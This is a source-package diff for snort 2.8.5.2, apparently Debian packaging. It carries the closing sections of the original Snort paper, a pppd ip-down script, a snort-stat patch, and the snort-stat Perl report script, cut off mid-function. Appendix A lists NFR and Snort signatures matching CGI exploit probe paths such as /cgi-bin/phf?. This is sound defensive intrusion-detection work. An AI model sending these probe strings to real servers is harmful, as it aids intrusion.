+	The content field of the rule contains mixed plain text and hex 
+formatted bytecode, which is enclosed in pipes.  At run-time, this data is
+converted into its binary representation, as displayed in the decoded packet
+dump in Figure 8, and then stored in an internal list of rules by Snort.  Thus,
+the rule contained in Figure 9 will raise an alarm any time a packet containing
+the "fingerprint" of the new IMAP buffer overflow is detected.
+
+Writing high performance pattern matching rules
+
+	The current rules system lends itself to high performance under
+most conditions, but there are some general concepts that can be applied when
+writing Snort rules to keep the processing speeds as high as possible.
+Computationally, the content matching option is the most expensive process that
+can be performed in the detection engine.  Accordingly, it is performed after
+all other rule tests.  This fact can be used to advantage by specifying other
+rule options in combination with the content option.  For example, almost all
+requests to web servers have their TCP PUSH and ACK flags set.  Using this
+knowledge, it is relatively easy to write a rule which will perform a simple
+TCP flag test before running the far more computationally intensive pattern
+match test.
+
+	Other options can be combined with the content rules to limit the
+amount of data that must be searched.  The offset and depth keywords were made
+specifically to fulfill this function.  Using these options, the area of the
+packet payload to search for an exploit pattern can be localized.  Care should
+be taken to avoid limiting the search too severely.  For example, many buffer
+overflows use variable offsets to tune the size and placement of the exploit
+machine code.  A Snort rule that has been tuned too tightly to key on a
+specific area of a packet's payload may overlook the real exploit that has been
+shifted to a different area within the packet.  On the other hand, web CGI
+probes and attacks generally all take place at the beginning of the packet
+within the first thirty to fifty bytes.  This can be a great place to optimize
+Snort content searching.
+
+	The actual search pattern used in the content rule is another area
+where performance tuning may take place.  Snort uses a Boyer-Moore [SEDG97] 
+algorithm to perform its pattern matching, which is one of the best algorithms
+available for that task.  It achieves its greatest efficiency in cases where
+the pattern to match consists of non-repeating sets of unique bytes.  For
+example, the Intel x86 architecture uses the hex value 0x90 to indicate a NOP
+in machine code.  Buffer overflows generally use large regions of NOPs to pad
+the actual exploit code and make the return jump calculations easier for the
+exploit programmer.  When specifying content match patterns, it is best to
+avoid including any NOPs in the match pattern, which will otherwise cause the
+Boyer-Moore routine to complete many partial matches before actually finding
+the correct match pattern.
+
+Advanced Snorting
+
+	Snort is a flexible tool with a wide variety of uses.  It is intended 
+to be used in the most classic sense of a network intrusion detection system. 
+It examines network traffic against a set of rules, and alerts administrators
+to suspicious network activity so that they may react appropriately.  There are
+many other areas where Snort can be useful as well.
+
+Shoring up commercial IDS'
+
+	Snort can be used to fill holes in commercial vendor's network-based
+intrusion detection tools, such as when a new attack makes its debut in the
+hacker/cracker community and signature updates are slow to come from the
+vendor.  In this case, Snort may be used to characterize the new attack by
+running it locally on a test network and determining it's signature.  Once the
+signature is written into a snort rule, the BPF command line filtering may be
+used to limit the traffic that Snort analyzes to the service or protocol of
+interest.  Snort can be used as a very specialized detector for a single attack
+or family of attacks in this mode.
+
+	The recent IRDP denial of service attack [IRDP99] revealed by the L0pht
+provides a good example of this concept.  The same day that the attack was
+announced, Snort rules were made available by the user community and these 
+attacks were detectable. 
+
+Passive traps
+
+	Another application to which Snort is very well suited is as a Honeypot
+monitor.  Honeypots are programs or computers that are dedicated to the notion
+of deceiving hostile parties interested in a network.  Most honeypot systems,
+for example Fred Cohen & Associates Deception Toolkit [DTK98], record their
+data at the server level, with a fake "service", such as an FTP server actually
+recording the data sent to it.  The problem with that concept is that the
+services doing the recording have to be started before they will record
+anything.  This means that events such as stealth port scans or binary data
+streams will be missed or garbled on honeypots that don't perform packet level
+monitoring.  Another problem is that the data generated by such a system
+will tend to be complex by its nature.  
+
+	The data coming out of a honeypot requires a skilled analyst to properly
+interpret the results.  Snort can be a great help to the analyst/administrator 
+with its packet classification and automatic alerting functionality.  With
+these capabilities a honeypot can be erected as a stand alone intrusion
+detection mechanism.  It requires no other monitoring or maintenance because
+Snort can be set to record and generate event notification on the first packet
+that arrives at the honeypot.
+
+	Snort can be used to implement another concept that is being advocated
+today; that of "passive traps" [MJR99].  A passive trap uses the "home field
+advantage" that network administrators enjoy when securing their networks.  One
+aspect of this concept is that administrators know which services are 
+<B>not</B> available on their networks.  Snort rules can be written that watch
+for traffic headed for these non-existent services.  Packets which are found to
+be using these ports may be an indication of port scanning, backdoors, or other
+hostile traffic.  For example, a network that is not using TFTP can be
+configured with Snort alert rules for all packets headed to or from any node on
+the network bound for port 69.  This can be a good method for detecting covert
+communications channels such as Loki or backdoors like Back Orifice.  Another
+easy concept to implement to set up pass rules for all of the services known to
+be running on a network and log inbound connections to other ports or port
+ranges.
+
+Shining some light on SHADOW
+
+	SHADOW is designed to be a cheap alternative to commercial NIDS.  As an
+aside, SHADOW was probably the first true lightweight intrusion detection
+system.  tcpdump is used as the sensor in these systems, which are configured
+using often extensive BPF commands.  All traffic that is not filtered out with
+these BPF rules is collected into a single file that can become quite large
+over extended periods of time.  Once the data is collected by the sensor, it is
+post-processed using a variety of external third party tools.  There are some
+limitations to this system, including a complete lack of real-time alerts and a
+lack of good data classification tools to aid the analyst in identifying the
+data produced by the sensor.
+
+	Snort uses the same BPF filter language rules as tcpdump, and can
+be used as a complete replacement for tcpdump sensors in environments where
+SHADOW is the IDS of choice.  The advantages of using Snort as a replacement
+sensor include real-time automatic traffic classification as it is collected
+and real-time alerting.  This allows security events to be detected and acted
+upon by the administrative staff in a more timely manner and log file sizes to
+be reduced significantly.  At the same time, Snort can record the data it
+collects to tcpdump formatted files so that the data generated by the system
+can be post-processed for in depth analysis with existing tools that analysts
+are comfortable using.
+
+Focused monitoring
+
+	"Focused monitoring" is the concept of watching a single critical node
+or service on a network for signs of hostile activity.  For example, the
+Sendmail [ALMN99] SMTP server has an extensive and well known list of
+vulnerabilities and exploits.  A single Snort sensor could be deployed with a
+rule set that covers all known Sendmail attacks and would provide highly
+focused monitoring of that specific traffic on the network.  These rules could
+even be extended to provide a running narrative of all of the commands and
+responses into and out of SMTP servers on the defended network.  This can make
+the network security analysts job somewhat easier by letting the collection
+engine (Snort) describe the normal flow of commands and responses as well as
+the attacks.
+
+	Focused monitoring can be especially useful in instances where existing
+NIDS provide inadequate coverage.  For example, a set of rules that monitor SQL
+database queries to a web or database server could be developed.  This would
+provide more complete coverage of CGI and ODBC SQL attacks and probes than any
+commercial NIDS on the market today.  This concept can be extended to any 
+network communications technology that is under represented by commercial NIDS.
+
+Conclusions
+
+Snort was designed to fulfill the requirements of a prototypical lightweight
+network intrusion detection system.  It has become a small, flexible, and
+highly capable system that is in use around the world on both large and small
+networks.  It has attained its initial design goals and is a fully capable
+alternative to commercial intrusion detection systems in places where it is
+cost inefficient to install full featured commercial systems. 
+
+
+Availability and Requirements
+
+	Snort will run on any platform where libpcap will run.  The current
+version of Snort is 1.2.1, and libpcap is required to compile and run the 
+software.  Snort is known to run on RedHat Linux 5.1/5.2/6.0, Debian Linux,
+MkLinux, S/Linux, HP-UX, Solaris 2.5.1 - 2.7 (x86 and Sparc), x86 
+Free/Net/OpenBSD, M68k NetBSD, and MacOS X.
+
+	Information about snort may be acquired directly from the author's
+web site at http://www.clark.net/~roesch/security.html 
+
+	Snort may be downloaded from the author's web site at
+http://www.clark.net/~roesch/snort-1.2.1.tar.gz
+	
+	There is a slowly growing library of Snort rules available at
+http://www.clark.net/~roesch/snort-lib
+
+Acknowledgements
+
+	Snort originally used Mike Borella's ipgrab program as a development
+template and example for how to properly code libpcap programs and packet
+decoders.  ipgrab can be found at http://www.borella.net.  Mike's code is an
+excellent starting point for any libpcap-based project.
+
+	Ron Gula of Network Security Wizards <http://www.securitywizards.com>
+provided valuable advice on logging methodologies and some of the initial 
+program logic, as well as contributing example rules to the system.
+
+	Ken Williams <jkw@frey.rapidnet.com> has been fantastically 
+supportive throughout the development of Snort, providing encouragement and
+ideas for additional features as well as providing a friendly forum for the
+distribution of Snort.
+
+	The Snort user community has been especially enjoyable to work with,
+providing bug reports, ideas for new development directions, and new rules for
+the library since the program's initial release.  Their support and enthusiasm
+has kept this a vital and growing collaborative project far past what I had 
+imagined was possible!
+
+References
+
+[SHD98] SHADOW, Steven Northcutt et al, Naval Surface Warfare Center 
+Dahlgren Laboratory, 1998. <http://www.nswc.navy.mil/ISSEC/CID/>
+
+[TCPD91] tcpdump, Van Jacobson, Craig Leres and Steven McCanne, Lawrence
+Berkeley National Laboratory, 1991. <http://www-nrg.ee.lbl.gov/>
+
+[PCAP94] libpcap, Van Jacobson, Craig Leres and Steven McCanne, Lawrence 
+Berkeley National Laboratory, 1994. <http://www-nrg.ee.lbl.gov/>
+
+[DTK98] Deception Toolkit, Fred Cohen & Associates, 1998.
+<http://all.net/dtk/dtk.html>
+
+[GNU89] GNU General Public License, Richard Stallman, 1989.
+<http://www.gnu.org/copyleft/gpl.txt>
+
+[BPF93] The BSD Packet Filter:  A New Architecture for User-level Packet 
+Capture, Steven McCanne, Van Jacobson, USENIX Technical Conference
+Proceedings, 1993.
+
+[ALE96] Smashing the Stack for Fun and Profit, Aleph1, Phrack #49, 1996.
+<http://www.phrack.com>
+
+[BTQ99] Bugtraq Mailing List, archives and vulnerability data base are 
+available at Security Focus.
+<http://www.securityfocus.com>
+
+[IISBT99] NT IIS Showcode ASP Vulnerability (Bugtraq ID #167), 
+Parcens/L0pht, May 1999.
+<http://www.securityfocus.com>
+
+[OSS98] The Cathedral and the Bazaar, Eric S. Raymond, 1998.
+<http://www.tuxedo.org/~esr/writings/cathedral-bazaar/>
+
+[FYD97] The Art of Port Scanning, Fyodor, Phrack #51, 1997.
+<http://www.insecure.org/nmap/p51-11.txt>
+
+[SWT92] Centralized System Monitoring With Swatch, Stephen E. Hansen and
+E. Todd Atkins, USENIX Seventh Systems Administration Conference, 1993
+<http://www.stanford.edu/~atkins/swatch/lisa93.html>
+
+[SEDG97] Algorithms in C: Fundamentals, Data Structures, Sorting, Searching,
+Robert Sedgewick, Addison-Wesely Publishing Company, 1997	
+
+[IRDP99] L0pht Security Advisory, Silicosis and Mudge, August 1999
+<http://www.l0pht.com/advisories/rdp.txt>
+
+[ALMN99] Sendmail, Eric Allman, 1999
+<http://www.sendmail.com>
+
+[PTA98] Insertion, Evasion, and Denial of Service: Eluding Network Intrusion 
+Detection, Thomas Ptacek and Timothy Newsham, Secure Networks Inc, 1998
+<http://www.nai.com/services/support/whitepapers/security/IDSpaper.pdf>
+
+[MJR99] Burglar Alarms for Detecting Intrusions, Marcus Ranum, NFR Inc, 1999
+<http://www.blackhat.com/html/bh-usa-99/bh3-speakers.html>
+
+Author Information
+
+	Martin Roesch is a Network Security Engineer with Stanford
+Telecommunications Inc.  He holds a B.S. in Computer Engineering from
+Clarkson University.  He has extensive experience with intrusion detection
+systems and has developed several systems professionally.  He was a primary
+software engineer during the development of GTE Internetworking's Global
+Network Infrastructure IDS, and designed and developed GTE's new commercial
+honeypot/deception system "Sentinel".  He is also a member of the
+Trinux Linux Security Toolkit distribution development team.  Snort is his 
+first Open Source Software project, and has been an excellent learning 
+experience for him.  Contact him at <roesch@clark.net>.
+
+Appendix A.
+
+Sample NFR rule to detect web server CGI probes (n-code sample excerpted from
+the L0pht's NFR IDS Modules web page at <http://www.l0pht.com/NFR>).
+
+---------------------------------------------------------------------------
+badweb_schema = library_schema:new( 1, ["time", "int", 
+                                        "ip", "ip", "str"], scope());
+
+# list of web servers to watch.  List IP address of servers or a netmask 
+# that matches all. use 0.0.0.0:0.0.0.0 to match any server
+
+da_web_servers = [ 0.0.0.0:0.0.0.0 ] ;
+
+query_list = [ "/cgi-bin/nph-test-cgi?",
+               "/cgi-bin/test-cgi?", 
+               "/cgi-bin/perl.exe?", 
+               "/cgi-bin/phf?" 
+                ] ;
+
+filter bweb tcp ( client, dport: 80 )
+{
+        if (! ( tcp.connDst inside da_web_servers) )
+                return;
+        declare $blob inside tcp.connSym;
+        if ($blob == null)
+                $blob = tcp.blob;
+        else
+                $blob = cat ( $blob, tcp.blob );
+        while (1 == 1) {
+          $x = index( $blob, "\n" );
+          if ($x < 0)           # break loop if no complete line yet
+            break;
+          $t=substr($blob,$x-1,1);      # look for cr at end of line
+          if ($t == '\r')
+            $t=substr($blob,0,$x-1);    # tear off line
+          else
+            $t=substr($blob,0,$x);
+
+          $counter=0;
+          foreach $y inside (query_list) {
+            $z = index( $blob, $y );
+            if ( $z >= 0) {
+              $counter=1;
+              # save the time, the connection hash, the client,
+              # the server, and the command to a histogram
+              record system.time, tcp.connHash, tcp.connSrc, tcp.connDst, $t to badweb_hist;
+
+            }
+          }
+          if ($counter)
+            break;
+        }
+        # keep us from getting flooded if there is no newline in the data
+        if (strlen($blob) > 4096)
+                $blob = "";
+
+        # save the blob for next pass
+        $blob = substr($blob, $x + 1);
+
+}
+
+badweb_hist = recorder ("bin/histogram packages/test/badweb.cfg",
+        "badweb_schema" );
+--------------------------------------------------------------------------------- 
+
+
+
+Snort rules to detect the same web CGI probes.
+--------------------------------------------------------------------------------- 
+alert tcp any any -> any 80 (msg:"CGI-nph-tst-cgi"; content:"cgi-bin/nph-test-cgi?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-test-cgi"; content:"cgi-bin/test-cgi?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-perl.exe"; content:"cgi-bin/perl.exe?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-phf"; content:"cgi-bin/phf?"; flags: PA;)
+--------------------------------------------------------------------------------- 
--- snort-2.8.5.2.orig/debian/my/snort.ip-down.d
+++ snort-2.8.5.2/debian/my/snort.ip-down.d
@@ -0,0 +1,104 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# Initial configuration :)
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test "$DEBIAN_SNORT_STARTUP" = "dialup" || exit 0
+
+if ! [ "$DEBIAN_SNORT_RECURSIVE" ]; then
+	# Acquire lock...
+	trap 'rm -f /var/run/snort.ppp.lock' 0
+	for tries in $(seq 1 10); do
+		mkfifo /var/run/snort.ppp.lock 2>/dev/null && break
+		sleep 1
+	done
+	# Now it's locked or timed out.
+	# In the latter case we assume stale lock.
+fi
+
+# If we are started with ppp environment set...
+if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ]; then
+	echo -n "Stopping $DESC: $NAME($PPP_IFACE)"
+
+	PIDFILE=/var/run/snort_$PPP_IFACE.pid
+	ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+	test -f "$PIDFILE" && pid=$(cat "$PIDFILE")
+
+	# We remove the saved environment, if we are not asked to
+	# keep them. DEBIAN_SNORT_KEEPENV is not set, if we're
+	# called by pppd, thus we always remove stale environments.
+	test $DEBIAN_SNORT_KEEPENV || rm -f "$ENVFILE"
+
+	/sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+		--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+	rm -f "$PIDFILE"
+
+	echo "."
+
+	exit 0
+fi
+
+# Else, we are started without ppp environment set...
+
+DEBIAN_SNORT_RECURSIVE=1
+export DEBIAN_SNORT_RECURSIVE
+
+# We keep the environments, thus the instances are restartable
+DEBIAN_SNORT_KEEPENV=1
+export DEBIAN_SNORT_KEEPENV
+
+# If we have saved environments, check and probably stop them...
+envpattern=/var/run/snort_*.env
+
+# If we are requested to stop one special environment...
+test "$1" -a -z "$2" && envpattern=/var/run/snort_"$1".env
+
+myret=0
+got_instance=0
+for env in $envpattern; do
+	# This check is also needed, if the above pattern doesn't match
+	test -f "$env" || continue;
+
+	. "$env"
+
+	# Prevent endless recursion because of damaged environments
+	# Check, if the environment is still valid...
+	if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ] &&
+	   kill -0 $PPPD_PID 2>/dev/null &&
+	   ps -p $PPPD_PID | grep -q pppd; then
+		got_instance=1
+
+		export PPPD_PID PPP_IFACE PPP_LOCAL
+		# Because the stop of this particular environment could
+		# fail, we guard it
+		set +e
+		$0 "$@"
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				;;
+			*)
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	else
+		rm -f "$env"
+	fi
+done
+
+# If we found no saved environments, we don't need to stop anything
+if [ "$got_instance" = 0 ]; then
+	echo "No snort instance found to be stopped!" >&2
+fi
+
+exit $myret
--- snort-2.8.5.2.orig/debian/my/diff
+++ snort-2.8.5.2/debian/my/diff
@@ -0,0 +1,85 @@
+---- start diff ---
+
+*** snort-stat	Tue Feb 27 10:26:02 2001
+---- snort-stat.tomeck	Tue Feb 27 10:38:25 2001
+***************
+*** 100,110 ****
+  }
+
+  #
+! ###################  print mail  ##################################
+  #
+
+! open(MAIL,"| $sendmail $to") || die $!;
+! printf MAIL "To: %s\n".
+  	    "Subject: %s: snort daily report\n\n".
+  	    "The log begins from: %3s %02d %02d:%02d:%02d\n".
+  	    "The log ends at:     %3s %02d %02d:%02d:%02d\n".
+---- 100,121 ----
+  }
+
+  #
+! ################### Make tempfile ################################
+  #
+
+! $cnt=0;
+! while(1) {
+!         $tmpfile = "/tmp/snort-stat.$$.$cnt";
+! 	last unless -f $tmpfile;
+! 	$cnt++;
+! }
+!
+! #
+! ################ Write report to tempfile  #######################
+! #
+!
+! open(TMP,"> $tmpfile") || die $!;
+! printf TMP "To: %s\n".
+  	    "Subject: %s: snort daily report\n\n".
+  	    "The log begins from: %3s %02d %02d:%02d:%02d\n".
+  	    "The log ends at:     %3s %02d %02d:%02d:%02d\n".
+***************
+*** 129,143 ****
+  $s0{$k}, $_[2],            $_[1],           $hostname
+  .
+
+! select(MAIL);
+  $^	= SAME_ATTACK_TOP;
+  $~	= SAME_ATTACK;
+
+  foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+      @_ = split ",",$k;
+      $hostname=`host $_[0] 2>/dev/null`;
+      $hostname=$_[0] if (not defined $hostname) || ($hostname eq "");
+      $hostname=~ s/Name: //g; chomp($hostname);
+!     write if $s0{$k} > $treshold;
+  }
+! close(MAIL) || die $!;
+---- 140,164 ----
+  $s0{$k}, $_[2],            $_[1],           $hostname
+  .
+
+! select(TMP);
+  $^	= SAME_ATTACK_TOP;
+  $~	= SAME_ATTACK;
+
+  foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+      @_ = split ",",$k;
++     last if  $s0{$k} <= $treshold;
+      $hostname=`host $_[0] 2>/dev/null`;
+      $hostname=$_[0] if (not defined $hostname) || ($hostname eq "");
+      $hostname=~ s/Name: //g; chomp($hostname);
+!     write;
+  }
+! select(STDOUT);
+! close(TMP);
+!
+! #
+! ###################  send mail  ##################################
+! #
+!
+! system("cat $tmpfile | $sendmail $to");
+! unlink("$tmpfile");
+!
+
+--- end diff ---
--- snort-2.8.5.2.orig/debian/my/snort-stat
+++ snort-2.8.5.2/debian/my/snort-stat
@@ -0,0 +1,558 @@
+#!/usr/bin/perl
+#
+# snort_stat.pl is a perl script trying to generate statistical data from every
+# day snort log file.
+#
+# USAGE: cat <snort_log> | snort_stat.pl -r -f -h -t n -l<num>
+#        -d: debug
+#        -r: resolve IP address to domain name
+#        -f: use fixed rather than variable width columns
+#        -h: produce html output
+#        -t: threshold
+#        -a: scan whole file (no date limit)
+#	 -l: limit to <num> entries
+#
+# or put it in the root's crontab file:
+#59      10      *       *       *       root    cat /var/log/authlog | /etc/snort_stat.pl | sendmail root
+#
+# Changelog:
+# 2003-01-07, Christian Hammers <ch@debian.org>
+#	* added option "-l"
+#	* filtered for yesterdays lines
+#	* renamed "attacks to events"
+#	* slightly reformatted.
+# 2002-03-20, Yen-Ming Chen <chenym@ALUMNI.CMU.EDU>
+# 	* initial release
+# 
+
+use Getopt::Std;		# use Getopt for options
+use Socket;			# use socket for resolving domain name from IP
+use vars qw($opt_r $opt_f $opt_d $opt_h $opt_t $opt_a);
+%HOSTS = ();			# Hash for IP <-> domain name mapping  
+
+getopts('darfht:l:') || die "Could not getopts"; # get options in command line
+$saddr_len = 15;
+$daddr_len = 15;
+$timeout = 3;			# for name resolver
+$th = $opt_t || 0;		# default threshold
+$maxlines = $opt_l || 99999;	# no more than opt_l lines per statistic
+
+# used to filter yesterdays lines as auth.log is rotate weekly only
+chomp($yesterday_date_string = `/bin/date -d yesterday +'\%m/\%d-'`);
+if ($opt_d) { $yesterday_date_string = "."; }
+
+# process whatever comes in
+while (<>) {
+  my $alert = {};
+  chomp;
+  # is this line an alert message
+  if ( $_ =~ /^\[\*\*\]/ ) {
+    $line = <>;
+    chomp($line);
+    unless ( $line eq "" ) {
+      # strip off the [**] from either end.
+      s/\s*\[\*\*\]\s*//og;
+      s/\s*\[[0-9:]+\]\s*//o;
+      if ($_ =~ /^spp_anomsensor\:[\D]+\:\s([\d\.]+)/ox) {
+        $alert->{PLUGIN} = "anomsensor"; $alert->{TYPE} = "plugin";
+        $alert->{SIG} = $alert->{PLUGIN};
+      } elsif ($_ =~ /^spp_portscan\:\sEnd\sof\sportscan\sfrom\s([\d\.]+)/ox) {
+        $alert->{PLUGIN} = "portscan"; $alert->{TYPE} = "plugin";
+        $alert->{SADDR} = $1; $alert->{SIG} = $alert->{PLUGIN};
+        process_data($alert); $lastwassnort = 1; next;
+      } elsif ( $_ =~ /^spp_stream4\:\s(.+)/o ) {
+        $alert->{SIG} = $1; $alert->{TYPE} = "alert";
+	$alert->{PLUGIN} = "stream";
+      } elsif ( $_ =~ /[^:]/ox) {
+        $alert->{SIG} = $_; $alert->{TYPE} = "alert"; 
+      }
+      if ( $line =~ m/^\[Classification\:([^\]]*)\]\s
+	   \[Priority\:\s(\d+)\]/ox) {
+        $alert->{CLASS} = $1; $alert->{PRIORITY} = $2;
+	$line=<>;
+      }
+      if ( $line =~ m/^\[Priority\:\s(\d+)\]/ox) {
+        $alert->{PRIORITY} = $1;
+	$line=<>;
+      }
+      if ( $line =~ m/^(\d+)\/(\d+)(?:\/\d+)?\-(\d+)\:(\d+)\:(\d+)\.(\d+)\s
+	   ([\d\.]+)[\:]*([\d]*)\s[\-\>]+\s([\d\.]+)[\:]*([\d]*)/ox) {
+
+	   	next if (!$opt_a && $line =~ /^$yesterday_date_string/);
+        $alert->{MON} = $1;   $alert->{DAY} = $2;   $alert->{HOUR} = $3; 
+        $alert->{MIN} = $4;   $alert->{SEC} = $5;   $alert->{SADDR} = $7; 
+        $alert->{SPORT} = $8; $alert->{DADDR} = $9; $alert->{DPORT} = $10; 
+        $alert->{HOST} = "localhost"; 
+        process_data($alert); $lastwassnort = 1; next;
+      }
+    } else { 
+      print STDERR "Warning, file may be incomplete\n";
+      next;
+    }
+  } 
+  # This is syslog format
+  if ($_ =~ m/^(\w{3}) \s+ (\d+) \s (\d+)\:(\d+)\:(\d+)\s 
+                   (\S+?)\ssnort[\[\d+\]]*\:\s+(.+)/ox 
+      || m/^(\d+)\/(\d+)\-(\d+)\:(\d+)\:(\d+)\.(\d+)\s(.+)/ox) 
+  {
+    $alert->{MON} = $1;    $alert->{DAY} = $2;    $alert->{HOUR} = $3; 
+    $alert->{MIN} = $4;    $alert->{SEC} = $5;    $alert->{HOST} = $6;  
+    $alert->{SIG} = $7;    
+    $alert->{SIG} =~ s/\s*\[[\d\:]+\]\s*//;  # Get rid of [343:33:31]
+    $alert->{SIG} =~ s/\[\*\*\]//og; # Get rid of [**] if fast alert
+    if ($alert->{SIG} =~ m/spp_portscan\:\sEnd\sof\sportscan\sfrom\s
+	([\d\.]+)/ox) { # portscan
+      $alert->{SADDR} = $1; $alert->{TYPE} = "plugin"; 
+      $alert->{PLUGIN} = "portscan";
+      process_data($alert); $lastwassnort = 1; next;
+    } elsif ( $alert->{SIG} =~ s/\s([\d\.]+)[\:]?([\d]*)\s[\-\>]+\s
+                            ([\d\.]+)[\:]?([\d]*)\s*//x) {
+      $alert->{SADDR} = $1; $alert->{SPORT} = $2; 
+      $alert->{DADDR} = $3; $alert->{DPORT} = $4; 
+      if ($alert->{SIG} =~ m/spp_anomsensor\:\sAnomaly\sthreshold\s
+	  exceeded\:\s([\d\.]+)/ox) { # spade
+	$alert->{THR} = $1; $alert->{TYPE} = "plugin"; 
+	$alert->{PLUGIN} = "anomsensor";
+	process_data($alert); $lastwassnort = 1; next;
+      } elsif ($alert->{SIG} =~ s/spp_bo\:\s//ox) { # bo
+	$alert->{TYPE} = "plugin"; $alert->{PLUGIN} = "bo";
+	process_data($alert); $lastwassnort = 1; next;
+      } elsif ($alert->{SIG} =~ s/spp_stream4\:\s//ox) { # stream4 
+        $alert->{TYPE} = "plugin"; $alert->{PLUGIN} = "stream";
+        process_data($alert); $lastwassnort = 1; next;
+      } else { # normal alert
+	if ( $alert->{SIG} =~ s/\[Classification\:([^\[|^\]]*?)\]\s*
+	     (?:\[Priority\:\s(\d+)\])//x ) {
+	  $alert->{CLASS} = $1;  $alert->{PRIORITY} = $2;
+        }
+	$alert->{TYPE} = "sys"; $alert->{PLUGIN} = "none";
+	process_data($alert); $lastwassnort = 1; next;
+      }
+    } else {
+      print STDERR "No source/dest IP address found! Skipped!" if $opt_d; 
+      $alert = {}; next;
+    }
+  }
+  # If a snort message has been repeated several times
+  elsif ($lastwassnort && $_ =~ m/last message repeated (\d+) times/) {
+    # put the data in the matrix again for each repeat
+    $repeats = $1;
+    while ($repeats) {
+      push @result, $result[-1];
+      $repeats--;
+    }
+    next;
+  } else {
+    $lastwassnort = 0;
+    next;
+  }				# Message not related to snort
+}
+
+# begin statistics
+# I should've used $#result + 1 as $total in the first version! :(
+$total = $#result + 1;
+
+for $i ( 0 .. $#result ) {
+  # for the same pair of eventer and victim with same sig
+  # to see the event pattern
+  # used in same_event()
+  $s0{"$result[$i]->[9],$result[$i]->[7],$result[$i]->[6]"}++;
+  # for the same pair of eventer and victim 
+  # to see how many ways are being tried
+  # used in same_host_dest()
+  $s1{"$result[$i]->[7],$result[$i]->[9]"}++;
+  # from same host use same method to event 
+  # to see how many events launched from one host
+  # used in same_host_sig()
+  $s2{"$result[$i]->[6],$result[$i]->[7]"}++;
+  # to same victim with same method
+  # to see how many events received by one host
+  # used in same_dest_sig_stat()
+  $s3{"$result[$i]->[6],$result[$i]->[9]"}++;
+  # same signature
+  # to see the popularity of one event method
+  # used in event_distribution()
+  $s4{"$result[$i]->[6]"}++;
+  # source ip
+  $s5{"$result[$i]->[7]"}++;
+  # destination ip
+  $s6{"$result[$i]->[9]"}++;
+}
+
+# begin report
+
+exit 0 unless ($total);
+print_head();
+print_summary();
+print_menu();
+same_event();
+same_host_dest();
+same_host_sig();
+same_dest_sig_stat();
+event_distribution();
+if ($opt_p) {
+  portscan();
+}
+if ($opt_n) {
+  anomsensor();
+}
+print_footer();
+
+# print the header (e.g. for mail)
+sub print_head {
+  my $hostname = `hostname --fqdn`;
+  chomp($hostname);
+  if ($opt_h) {
+    print "<html>\n<head>\n";
+    print "<title>Snort Statistics</title>";
+    print "</head>\n<body>\n";
+    print "<h1>[SNORT] $hostname Statistics</h1>\n";
+  } else { 
+    print "Subject: [SNORT] $hostname daily report\n\n";
+  }
+}
+
+# print the time of begin and end of the log
+sub print_summary {
+  if ($opt_h) {
+    print "<table>\n";
+    print "<tr><th>The log begins at:</th>\n";
+    print "<td>$result[0]->[0] $result[0]->[1] $result[0]->[2]:$result[0]->[3]:$result[0]->[4]</td></tr>\n";
+    print "<tr><th>The log ends at:</th>\n";
+    print "<td>$result[$#result]->[0] $result[$#result]->[1] $result[$#result]->[2]:$result[$#result]->[3]:$result[$#result]->[4]</td></tr>\n";
+    print "<tr><th>Total events:</th><td> $total</td></tr>\n";
+    print "<tr><th>Signatures recorded:</th><td> ". keys(%s4) ."</td></tr>\n";
+    print "<tr><th>Source IP recorded:</th><td> ". keys(%s5) ."</td></tr>\n";
+    print "<tr><th>Destination IP recorded:</th><td> ". keys(%s6) ."</td></tr>\n";
+    print "<tr><th>Portscan detected:</th><td> ", eval '$#posres +1',"</td></tr>\n" if $opt_p;
+    print "<tr><th>Anomaly detected:</th><td> ", eval '$#anores +1',"</td></tr>\n" if $opt_n;
+    print "</table>\n";
+    print "<hr>\n";
+  } else {
+    print "Events between  $result[0]->[0] $result[0]->[1] ".
+	  "$result[0]->[2]:$result[0]->[3]:$result[0]->[4]  and  ".
+    	  "$result[$#result]->[0] $result[$#result]->[1] ".
+	  "$result[$#result]->[2]:$result[$#result]->[3]:$result[$#result]->[4]\n";
+    print "Total events: $total\n";
+    print "Signatures recorded: ". keys(%s4) ."\n";
+    print "Source IP recorded: ". keys(%s5) ."\n";
+    print "Destination IP recorded: ". keys(%s6) ."\n";
+    print "Portscan recorded: ", eval '$#posres +1',"\n" if $opt_p;
+    print "Anomaly recorded: ", eval '$#anores +1',"\n" if $opt_n;
+  }
+}
+
+# print menu for HTML page
+sub print_menu {
+  if ($opt_h) {
+    print "<ul><a name=\"top\"></a>\n";
+    print "<li><a href=\"#same_hdm\">Number of events from same host to same destination with same method</a>\n"; 
+    print "<li><a href=\"#same_hd\">Percentage and number of events from a host to a destination</a>\n";
+    print "<li><a href=\"#same_hm\">Percentage and number of events from one host to any with same method</a>\n";
+    print "<li><a href=\"#same_d\">Percentage and number of events to one certain host</a>\n";
+    print "<li><a href=\"#same_m\">Distribution of event methods</a>\n";
+    print "<li><a href=\"#portscan\">Portscans performed to/from HOME_NET</a>\n" if $opt_p;
+    print "<li><a href=\"#spade\">Anomaly detected by SPADE</a>\n" if $opt_n;
+    print "</ul><HR>\n";
+  }
+}
+
+# to see the frequency of the event from a certain pair of 
+# host and destination
+sub same_event {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hdm\">Number of event from same host to same destination using same method</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th># of events</th><th>from</th><th>to</th><th>with</th></tr>";
+    foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) { 
+      @_ = split ",",$k;
